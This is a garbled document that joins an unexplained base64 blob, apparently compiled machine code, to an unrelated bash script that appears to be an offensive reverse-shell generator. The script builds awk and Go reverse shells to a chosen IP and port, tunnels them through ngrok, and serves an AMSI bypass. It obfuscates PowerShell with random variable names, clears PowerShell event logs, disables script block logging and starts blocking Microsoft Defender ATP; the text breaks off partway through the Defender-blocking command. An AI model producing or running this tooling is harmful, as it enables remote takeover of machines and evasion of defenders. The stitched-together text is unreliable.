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nc=$(which nc) if [ "$?" == 1 ] then header redprint "$0 depends on netcat and cannot continue. Install on Debian: sudo apt install netcat" exit fi rlwrap=$(which rlwrap) if [ "$?" == 1 ] then header if [[ $OS == "Darwin" ]] then redprint "$0 depends on rlwrap and cannot continue. Install on MacOS using homebrew: brew install rlwrap" yellowprint "Install now? [Y/n]" read -r -n 1 ans case $ans in y) echo echo "Installing..." brew install rlwrap $0 ;; n) exit;; "") echo echo "Installing..." brew install rlwrap $0;; *) exit;; esac else redprint "$0 depends on rlwrap and cannot continue. Install on Debian: sudo apt install rlwrap" yellowprint "Install now? [Y/n]" read -r -n 1 ans case $ans in y) echo echo "Installing..." sudo apt install rlwrap $0 ;; n) echo ;; "") echo echo "Installing..." sudo apt install rlwrap $0 ;; *) echo ;; esac fi #read -p "Press any key to continue" fi if [[ $ngrok_installed == 1 ]] then jqcheck=$(which jq) if [ "$?" == 1 ] then header if [[ $OS == "Darwin" ]] then redprint "$0 depends on jq for ngrok usage. If you wish to use ngrok, it needs to be installed. Install on macOS using homebrew: brew install jq" yellowprint "Install now? [Y/n]" read -r -n 1 ans case $ans in y) echo echo "Installing..." brew install jq $0 ;; n) echo ;; "") echo echo "Installing..." brew install jq $0 ;; *) echo ;; esac else redprint "$0 depends on jq for ngrok and this will not work. Install on Debian: sudo apt install jq" yellowprint "Install now? [Y/n]" read -r -n 1 ans case $ans in y) echo echo "Installing..." sudo apt install jq $0 ;; n) echo ;; "") echo echo "Installing..." sudo apt install jq $0 ;; *) echo ;; esac fi fi fi function urlencodeme() { local length="${#1}" for (( i = 0; i < length; i++ )); do local c="${1:i:1}" case $c in [a-zA-Z0-9.~_-]) printf "$c" ;; *) printf '%%%02X' "'$c" esac done } #Find IP if [[ $OS == "Darwin" ]] then myip=$(ipconfig getifaddr en0) IPv4=$myip else int=$(route | grep '^default' | grep -o '[^ ]*$') myip=$(ip -4 a show dev $int |grep inet|awk -F "inet" {'print $2'}|cut -d/ -f1 | xargs) IPv4=$myip fi myport="443" header function ip2hex () { echo -n $1 | awk -F '.' '{printf "0x%x", ($1 * 2^24) + ($2 * 2^16) + ($3 * 2^8) + $4}' } function ip2long () { echo -n $1 | awk -F '.' '{printf "%d", ($1 * 2^24) + ($2 * 2^16) + ($3 * 2^8) + $4}' } function input () { if [[ $usingngrok == 1 ]] then echo "ngrok is running" else header if [[ $usingupdog == 0 && "$1" == "updog" ]] then header dir=$PWD myupdport=80 read -p "Please enter Updog directory [$dir]: " updog_dir updog_dir=${updog_dir:-$dir} read -p "Please enter Updog port [$myupdport]: " updog_port updog_port=${updog_port:-$myupdport} echo -en "Do you wish to generate and serve full AMSI bypass?" greenprint "[Y/n]" read -r -n 1 ans case $ans in y) echo -n $RastaAmsiBp| base64 -d > $updog_dir/rab.ps1 echo "Saving $1 bypass: $updog_dir/rab.ps1" ;; n) ;; "") echo -n $RastaAmsiBp| base64 -d > $updog_dir/rab.ps1 echo "Saving $1 bypass: $updog_dir/rab.ps1" ;; *) exit;; esac else if [[ "$1" == "updog" ]] then echo else read -p "Please enter your listening IP [$myip]: " IP IP=${IP:-$myip} read -p "Please enter your listening port [$myport]: " PORT PORT=${PORT:-$myport} fi fi if [[ "$1" == "ngrok" || "$1" == "updog" ]] then echo else HEXIP=$(ip2hex $IP) LONGIP=$(ip2long $IP) echo -ne " $(blueprint 'Format of IP') $(greenprint '1)') Normal $(greenprint '2)') Hexadecimal $(greenprint '3)') Long Choose an option [1]: " read -r -n 1 ans case $ans in 1) IP=$IP ;; 2) IP=$HEXIP ;; 3) IP=$LONGIP ;; *) IP=$IP ;; esac fi fi } function start_ngrok () { if [[ $usingngrok == 0 ]] then ngrok tcp $PORT > /dev/null & header echo "Starting ngrok.." while ! nc -z localhost 4040; do sleep 1 # wait ngrok to become available done sleep 2 public_url=$(curl -s http://localhost:4040/api/tunnels | jq -r '.tunnels[0].public_url'|awk -F"//" {'print $2'}) local_url=$(curl -s http://localhost:4040/api/tunnels | jq -r '.tunnels[0].config.addr') ngrokIP=$(echo -n $public_url|awk -F":" {'print $1'}) ngrokPORT=$(echo -n $public_url|awk -F":" {'print $2'}) LOCALPORT=$(echo -n $local_url|awk -F":" {'print $2'}) usingngrok=1 mainmenu else killall ngrok > /dev/null 2>&1 usingngrok=0 mainmenu fi } function start_updog () { if [[ $updog_installed == 1 ]] then if [[ $usingupdog == 0 ]] then updog -d $updog_dir -p $updog_port > /dev/null & header echo "Starting Updog..." while ! nc -z localhost $updog_port; do sleep 1 # wait updog to become available done usingupdog=1 mainmenu else ps -ef | grep updog |cut -d" " -f4| while read -r pid;do kill "$pid";done > /dev/null 2>&1 header usingupdog=0 mainmenu fi else echo "Updog is not installed" sleep 5 mainmenu fi } function awk_s () { header if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi rev="awk 'BEGIN {s = \"/inet/tcp/0/$IP/$PORT\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print \$0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function go_lang () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"$IP:$PORT\");cmd:=exec.Command(\"$nshell\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function powershell_s () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi if [[ $2 == "core" ]] then pw_sh="pwsh" else pw_sh="powershell" fi #Powershell setup bp=$(openssl rand -hex $(shuf -i 1-2 -n1)) client=$(openssl rand -hex $(shuf -i 1-11 -n1)) stream=$(openssl rand -hex $(shuf -i 1-11 -n1)) data=$(openssl rand -hex $(shuf -i 1-11 -n1)) sendback=$(openssl rand -hex $(shuf -i 1-11 -n1)) sendback2=$(openssl rand -hex $(shuf -i 1-11 -n1)) sendbyte=$(openssl rand -hex $(shuf -i 1-11 -n1)) bytes=$(openssl rand -hex $(shuf -i 1-11 -n1)) i=$(openssl rand -hex $(shuf -i 1-11 -n1)) endpoint=$(openssl rand -hex $(shuf -i 1-11 -n1)) networkStream=$(openssl rand -hex $(shuf -i 1-12 -n1)) ssl=$(openssl rand -hex $(shuf -i 1-5 -n1)) ip=$(openssl rand -hex $(shuf -i 1-11 -n1)) port=$(openssl rand -hex $(shuf -i 1-13 -n1)) socket=$(shuf -er -n$(shuf -i3-10 -n1) {A..Z} {a..z} | tr -d '\n') input=$(shuf -er -n$(shuf -i6-13 -n1) {A..Z} {a..z} | tr -d '\n') output=$(shuf -er -n$(shuf -i2-11 -n1) {A..Z} {a..z} | tr -d '\n') cmd=$(shuf -er -n$(shuf -i3-10 -n1) {A..Z} {a..z} {0..9} | tr -d '\n') read=$(shuf -er -n$(shuf -i4-13 -n1) {A..Z} {a..z} | tr -d '\n') info=$(shuf -er -n$(shuf -i5-15 -n1) {A..Z} {a..z} {0..9} | tr -d '\n') outbytes=$(shuf -er -n$(shuf -i1-10 -n1) {A..Z} {a..z} {0..9} | tr -d '\n') receivebytes=$(openssl rand -hex $(shuf -i 1-11 -n1)) returndata=$(openssl rand -hex $(shuf -i 1-11 -n1)) x=$(openssl rand -hex $(shuf -i 1-11 -n1)) result=$(openssl rand -hex $(shuf -i 1-11 -n1)) wevutil=$(shuf -er -n$(shuf -i10-12 -n1) {A..Z} {a..z} | tr -d '\n') pwsh=$(shuf -er -n$(shuf -i19-23 -n1) {A..Z} {a..z} | tr -d '\n') placeh=$(openssl rand -hex $(shuf -i 1-11 -n1)) space=$(shuf -er -n$(shuf -i3-5 -n1) {A..Z} {a..z} | tr -d '\n') buf=$(openssl rand -hex $(shuf -i 1-9 -n1)) bytes=$(openssl rand -hex $(shuf -i 1-11 -n1)) assembly=$(openssl rand -hex $(shuf -i 7-19 -n1)) uport=$(shuf -i9000-65536 -n1) #Clear Powershell Eventlogs if [ $clearlogs == 1 ] then disableLog="[Ref].Assembly.GetType('System.Management.Automation.ScriptBlock').\$$placehGetField(\"signatures\",\"NonPublic,static\").SetValue(\$null, (New-Object 'System.Collections.Generic.HashSet[string]'));\$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').\$$placehGetField('cachedGroupPolicySettings','NonPublic,Static').GetValue(\$null);\$settings['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging'] = @{};\$settings['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging'].Add('EnableScriptBlockLogging\', 0);Start-Job {set-alias $wevutil wevtutil;sleep -Milliseconds 1005; $wevutil cl Microsoft-Windows-PowerShell/Operational;$wevutil cl \"Windows PowerShell\"};" else disableLog=";" fi #Block MSSense.exe (Defender 365/ATP) if [ $blockmssense == 1 ] then mssense='& netsh a f a r n=nonsense d=out a=block 